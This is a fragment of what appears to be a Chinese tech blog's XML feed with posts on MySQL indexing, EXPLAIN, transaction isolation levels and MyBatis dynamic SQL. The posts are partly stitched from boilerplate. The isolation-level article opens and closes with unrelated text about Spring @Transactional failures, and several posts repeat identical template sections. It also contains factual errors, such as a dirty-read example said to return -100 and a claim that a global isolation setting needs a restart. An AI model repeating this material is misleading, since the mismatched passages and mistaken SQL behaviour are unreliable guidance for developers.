class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MySQL 事务隔离级别：理解脏读、不可重复读与幻读</title>
      <link href="//mysql-shi-wu-ge-chi-ji-bie-he-huan-du-wen-ti/"/>
      <url>//mysql-shi-wu-ge-chi-ji-bie-he-huan-du-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="MySQL-事务隔离级别：理解脏读、不可重复读与幻读"><a href="#MySQL-事务隔离级别：理解脏读、不可重复读与幻读" class="headerlink" title="MySQL 事务隔离级别：理解脏读、不可重复读与幻读"></a>MySQL 事务隔离级别：理解脏读、不可重复读与幻读</h1><p>Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。</p><h2 id="事务的-ACID-特性"><a href="#事务的-ACID-特性" class="headerlink" title="事务的 ACID 特性"></a>事务的 ACID 特性</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">┌─────────────────────────────────────────────┐</span><br><span class="line">│           ACID 特性                         │</span><br><span class="line">├─────────────────────────────────────────────┤</span><br><span class="line">│ Atomicity（原子性）: 要么全部执行，要么全部回滚 │</span><br><span class="line">│ Consistency（一致性）: 数据从一个有效状态到另一个 │</span><br><span class="line">│ Isolation（隔离性）: 事务之间相互隔离         │</span><br><span class="line">│ Durability（持久性）: 提交后数据永久保存       │</span><br><span class="line">└─────────────────────────────────────────────┘</span><br></pre></td></tr></table></figure><h2 id="四种隔离级别"><a href="#四种隔离级别" class="headerlink" title="四种隔离级别"></a>四种隔离级别</h2><table><thead><tr><th>级别</th><th>脏读</th><th>不可重复读</th><th>幻读</th><th>说明</th></tr></thead><tbody><tr><td><strong>READ UNCOMMITTED</strong></td><td>可能</td><td>可能</td><td>可能</td><td>最低级别，性能最高</td></tr><tr><td><strong>READ COMMITTED</strong></td><td>不可能</td><td>可能</td><td>可能</td><td>大多数数据库默认</td></tr><tr><td><strong>REPEATABLE READ</strong></td><td>不可能</td><td>不可能</td><td>可能</td><td>MySQL InnoDB 默认</td></tr><tr><td><strong>SERIALIZABLE</strong></td><td>不可能</td><td>不可能</td><td>不可能</td><td>最高级别，性能最低</td></tr></tbody></table><p>#</p><h2 id="1-READ-UNCOMMITTED（读未提交）"><a href="#1-READ-UNCOMMITTED（读未提交）" class="headerlink" title="1. READ UNCOMMITTED（读未提交）"></a>1. READ UNCOMMITTED（读未提交）</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 事务 A</span></span><br><span class="line"><span class="keyword">SET</span> TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;</span><br><span class="line"><span class="keyword">BEGIN</span>;</span><br><span class="line"><span class="keyword">UPDATE</span> accounts <span class="keyword">SET</span> balance <span class="operator">=</span> balance <span class="operator">-</span> <span class="number">100</span> <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span>;</span><br><span class="line"><span class="comment">-- 此时事务未提交</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 事务 B（可以读到未提交的数据）</span></span><br><span class="line"><span class="keyword">SET</span> TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;</span><br><span class="line"><span class="keyword">BEGIN</span>;</span><br><span class="line"><span class="keyword">SELECT</span> balance <span class="keyword">FROM</span> accounts <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span>; <span class="comment">-- 读到 -100</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-READ-COMMITTED（读已提交）"><a href="#2-READ-COMMITTED（读已提交）" class="headerlink" title="2. READ COMMITTED（读已提交）"></a>2. READ COMMITTED（读已提交）</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 事务 A</span></span><br><span class="line"><span class="keyword">SET</span> TRANSACTION ISOLATION LEVEL READ COMMITTED;</span><br><span class="line"><span class="keyword">BEGIN</span>;</span><br><span class="line"><span class="keyword">UPDATE</span> accounts <span class="keyword">SET</span> balance <span class="operator">=</span> balance <span class="operator">-</span> <span class="number">100</span> <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span>;</span><br><span class="line"><span class="keyword">COMMIT</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 事务 B（只能读到已提交的数据）</span></span><br><span class="line"><span class="keyword">SET</span> TRANSACTION ISOLATION LEVEL READ COMMITTED;</span><br><span class="line"><span class="keyword">BEGIN</span>;</span><br><span class="line"><span class="keyword">SELECT</span> balance <span class="keyword">FROM</span> accounts <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span>; <span class="comment">-- 读到更新前的值</span></span><br><span class="line"><span class="comment">-- 事务 A 提交后</span></span><br><span class="line"><span class="keyword">SELECT</span> balance <span class="keyword">FROM</span> accounts <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span>; <span class="comment">-- 读到更新后的值（不可重复读）</span></span><br><span class="line"><span class="keyword">COMMIT</span>;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-REPEATABLE-READ（可重复读）"><a href="#3-REPEATABLE-READ（可重复读）" class="headerlink" title="3. REPEATABLE READ（可重复读）"></a>3. REPEATABLE READ（可重复读）</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 事务 A</span></span><br><span class="line"><span class="keyword">SET</span> TRANSACTION ISOLATION LEVEL REPEATABLE READ;</span><br><span class="line"><span class="keyword">BEGIN</span>;</span><br><span class="line"><span class="keyword">SELECT</span> balance <span class="keyword">FROM</span> accounts <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span>; <span class="comment">-- 读到 1000</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 事务 B</span></span><br><span class="line"><span class="keyword">SET</span> TRANSACTION ISOLATION LEVEL REPEATABLE READ;</span><br><span class="line"><span class="keyword">BEGIN</span>;</span><br><span class="line"><span class="keyword">UPDATE</span> accounts <span class="keyword">SET</span> balance <span class="operator">=</span> balance <span class="operator">-</span> <span class="number">100</span> <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span>;</span><br><span class="line"><span class="keyword">COMMIT</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 事务 A（继续读取）</span></span><br><span class="line"><span class="keyword">SELECT</span> balance <span class="keyword">FROM</span> accounts <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">1</span>; <span class="comment">-- 仍然读到 1000（可重复读）</span></span><br><span class="line"><span class="keyword">COMMIT</span>;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-SERIALIZABLE（串行化）"><a href="#4-SERIALIZABLE（串行化）" class="headerlink" title="4. SERIALIZABLE（串行化）"></a>4. SERIALIZABLE（串行化）</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 事务 A</span></span><br><span class="line"><span class="keyword">SET</span> TRANSACTION ISOLATION LEVEL SERIALIZABLE;</span><br><span class="line"><span class="keyword">BEGIN</span>;</span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 事务 B（被阻塞，直到事务 A 提交）</span></span><br><span class="line"><span class="keyword">SET</span> TRANSACTION ISOLATION LEVEL SERIALIZABLE;</span><br><span class="line"><span class="keyword">BEGIN</span>;</span><br><span class="line"><span class="keyword">INSERT INTO</span> orders (user_id, status) <span class="keyword">VALUES</span> (<span class="number">1001</span>, <span class="string">&#x27;PAID&#x27;</span>); <span class="comment">-- 阻塞</span></span><br></pre></td></tr></table></figure><h2 id="幻读问题"><a href="#幻读问题" class="headerlink" title="幻读问题"></a>幻读问题</h2><p>#</p><h2 id="什么是幻读"><a href="#什么是幻读" class="headerlink" title="什么是幻读"></a>什么是幻读</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 事务 A</span></span><br><span class="line"><span class="keyword">BEGIN</span>;</span><br><span class="line"><span class="keyword">SELECT</span> <span class="built_in">COUNT</span>(<span class="operator">*</span>) <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span>; <span class="comment">-- 返回 10</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 事务 B</span></span><br><span class="line"><span class="keyword">BEGIN</span>;</span><br><span class="line"><span class="keyword">INSERT INTO</span> orders (user_id, status) <span class="keyword">VALUES</span> (<span class="number">1002</span>, <span class="string">&#x27;PAID&#x27;</span>);</span><br><span class="line"><span class="keyword">COMMIT</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 事务 A（继续执行）</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="built_in">COUNT</span>(<span class="operator">*</span>) <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span>; <span class="comment">-- 返回 11（幻读）</span></span><br><span class="line"><span class="keyword">COMMIT</span>;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="InnoDB-的解决方案"><a href="#InnoDB-的解决方案" class="headerlink" title="InnoDB 的解决方案"></a>InnoDB 的解决方案</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 使用 Next-Key Lock 防止幻读</span></span><br><span class="line"><span class="keyword">BEGIN</span>;</span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span> <span class="keyword">FOR</span> <span class="keyword">UPDATE</span>; <span class="comment">-- 锁定范围</span></span><br><span class="line"><span class="comment">-- 此时事务 B 插入会被阻塞</span></span><br><span class="line"><span class="keyword">COMMIT</span>;</span><br></pre></td></tr></table></figure><h2 id="实战建议"><a href="#实战建议" class="headerlink" title="实战建议"></a>实战建议</h2><p>#</p><h2 id="设置隔离级别"><a href="#设置隔离级别" class="headerlink" title="设置隔离级别"></a>设置隔离级别</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 会话级别</span></span><br><span class="line"><span class="keyword">SET</span> TRANSACTION ISOLATION LEVEL REPEATABLE READ;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 全局级别（需重启生效）</span></span><br><span class="line"><span class="keyword">SET</span> <span class="keyword">GLOBAL</span> TRANSACTION ISOLATION LEVEL READ COMMITTED;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="配置文件"><a href="#配置文件" class="headerlink" title="配置文件"></a>配置文件</h2><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="comment"># my.cnf</span></span><br><span class="line"><span class="attr">transaction-isolation</span> = REPEATABLE-READ</span><br></pre></td></tr></table></figure><p>#</p><h2 id="选择建议"><a href="#选择建议" class="headerlink" title="选择建议"></a>选择建议</h2><table><thead><tr><th>场景</th><th>推荐级别</th></tr></thead><tbody><tr><td>OLTP 系统</td><td>REPEATABLE READ</td></tr><tr><td>报表/分析</td><td>READ COMMITTED</td></tr><tr><td>金融系统</td><td>SERIALIZABLE</td></tr></tbody></table><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>事务隔离级别的选择需要权衡一致性和性能：</p><ol><li><strong>READ UNCOMMITTED</strong>：性能最高，一致性最差</li><li><strong>READ COMMITTED</strong>：解决脏读，存在不可重复读和幻读</li><li><strong>REPEATABLE READ</strong>：解决不可重复读，InnoDB 还解决了幻读</li><li><strong>SERIALIZABLE</strong>：完全串行化，性能最差</li></ol><p>理解隔离级别能帮助你更好地设计事务，避免并发问题。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别</p></li><li><p>事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值</p></li><li><p>使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚</p></li><li><p>编程式事务在某些场景下比声明式事务更灵活</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>EXPLAIN 执行计划应该看哪些字段</title>
      <link href="//explain-zhi-xing-ji-hua-ying-gai-kan-na-xie-zi-duan/"/>
      <url>//explain-zhi-xing-ji-hua-ying-gai-kan-na-xie-zi-duan/</url>
      
        <content type="html"><![CDATA[<h1 id="EXPLAIN-执行计划应该看哪些字段"><a href="#EXPLAIN-执行计划应该看哪些字段" class="headerlink" title="EXPLAIN 执行计划应该看哪些字段"></a>EXPLAIN 执行计划应该看哪些字段</h1><p>EXPLAIN 是优化 SQL 的入口工具，理解它的输出是每个后端工程师的基本功。本文讲清楚几个关键字段的含义。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MySQL 索引设计的几个核心原则</title>
      <link href="//mysql-suo-yin-she-ji-de-ji-ge-he-xin-yuan-ze/"/>
      <url>//mysql-suo-yin-she-ji-de-ji-ge-he-xin-yuan-ze/</url>
      
        <content type="html"><![CDATA[<h1 id="MySQL-索引设计的几个核心原则"><a href="#MySQL-索引设计的几个核心原则" class="headerlink" title="MySQL 索引设计的几个核心原则"></a>MySQL 索引设计的几个核心原则</h1><p>MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型</p></li><li><p>SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN</p></li><li><p>事务隔离级别的选择：根据业务需求选择合适的级别</p></li><li><p>常见的锁问题：行锁、表锁、死锁的处理</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MyBatis 批量插入和性能优化</title>
      <link href="//mybatis-pi-liang-cha-ru-he-xing-neng-you-hua/"/>
      <url>//mybatis-pi-liang-cha-ru-he-xing-neng-you-hua/</url>
      
        <content type="html"><![CDATA[<h1 id="MyBatis-批量插入和性能优化"><a href="#MyBatis-批量插入和性能优化" class="headerlink" title="MyBatis 批量插入和性能优化"></a>MyBatis 批量插入和性能优化</h1><p>MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。</p><h2 id="一个-Mapper-示例"><a href="#一个-Mapper-示例" class="headerlink" title="一个 Mapper 示例"></a>一个 Mapper 示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UserMapper</span> &#123;</span><br><span class="line">    User <span class="title function_">selectById</span><span class="params">(<span class="meta">@Param(&quot;id&quot;)</span> Long id)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对应 XML：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;selectById&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email</span><br><span class="line">  from user</span><br><span class="line">  where id = #&#123;id&#125;</span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p>注意这里用的是 <code>#{id}</code>，它会走预编译参数。不要把用户输入直接用 <code>${id}</code> 拼进 SQL。</p><h2 id="动态-SQL-的写法"><a href="#动态-SQL-的写法" class="headerlink" title="动态 SQL 的写法"></a>动态 SQL 的写法</h2><p>查询条件可选时，可以用 <code>if</code>：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;list&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email from user</span><br><span class="line">  <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;username != null and username != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">      and username = #&#123;username&#125;</span><br><span class="line">    <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p><code>where</code> 标签会自动处理多余的 and，避免拼接错误。</p><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>动态 SQL 的常用标签：if、where、choose、foreach</p></li><li><p>一级缓存和二级缓存的区别及使用场景</p></li><li><p>参数处理：#{} 和 ${} 的区别，防止 SQL 注入</p></li><li><p>批量操作的优化：使用 foreach 或 ExecutorType.BATCH</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> MyBatis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> MyBatis </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MyBatis 动态 SQL：优雅构建灵活查询</title>
      <link href="//mybatis-dong-tai-sql-de-zheng-que-xie-fa/"/>
      <url>//mybatis-dong-tai-sql-de-zheng-que-xie-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="MyBatis-动态-SQL：优雅构建灵活查询"><a href="#MyBatis-动态-SQL：优雅构建灵活查询" class="headerlink" title="MyBatis 动态 SQL：优雅构建灵活查询"></a>MyBatis 动态 SQL：优雅构建灵活查询</h1><p>MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。</p><h2 id="基础标签"><a href="#基础标签" class="headerlink" title="基础标签"></a>基础标签</h2><p>#</p><h2 id="1-lt-if-gt-标签"><a href="#1-lt-if-gt-标签" class="headerlink" title="1. &lt;if&gt; 标签"></a>1. <code>&lt;if&gt;</code> 标签</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;findUsers&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;User&quot;</span>&gt;</span></span><br><span class="line">    SELECT id, username, email</span><br><span class="line">    FROM users</span><br><span class="line">    WHERE 1=1</span><br><span class="line">    <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;username != null and username != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">        AND username LIKE CONCAT(&#x27;%&#x27;, #&#123;username&#125;, &#x27;%&#x27;)</span><br><span class="line">    <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;email != null and email != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">        AND email = #&#123;email&#125;</span><br><span class="line">    <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-lt-where-gt-标签"><a href="#2-lt-where-gt-标签" class="headerlink" title="2. &lt;where&gt; 标签"></a>2. <code>&lt;where&gt;</code> 标签</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;findUsers&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;User&quot;</span>&gt;</span></span><br><span class="line">    SELECT id, username, email</span><br><span class="line">    FROM users</span><br><span class="line">    <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;username != null and username != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">            AND username LIKE CONCAT(&#x27;%&#x27;, #&#123;username&#125;, &#x27;%&#x27;)</span><br><span class="line">        <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;email != null and email != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">            AND email = #&#123;email&#125;</span><br><span class="line">        <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line"><span 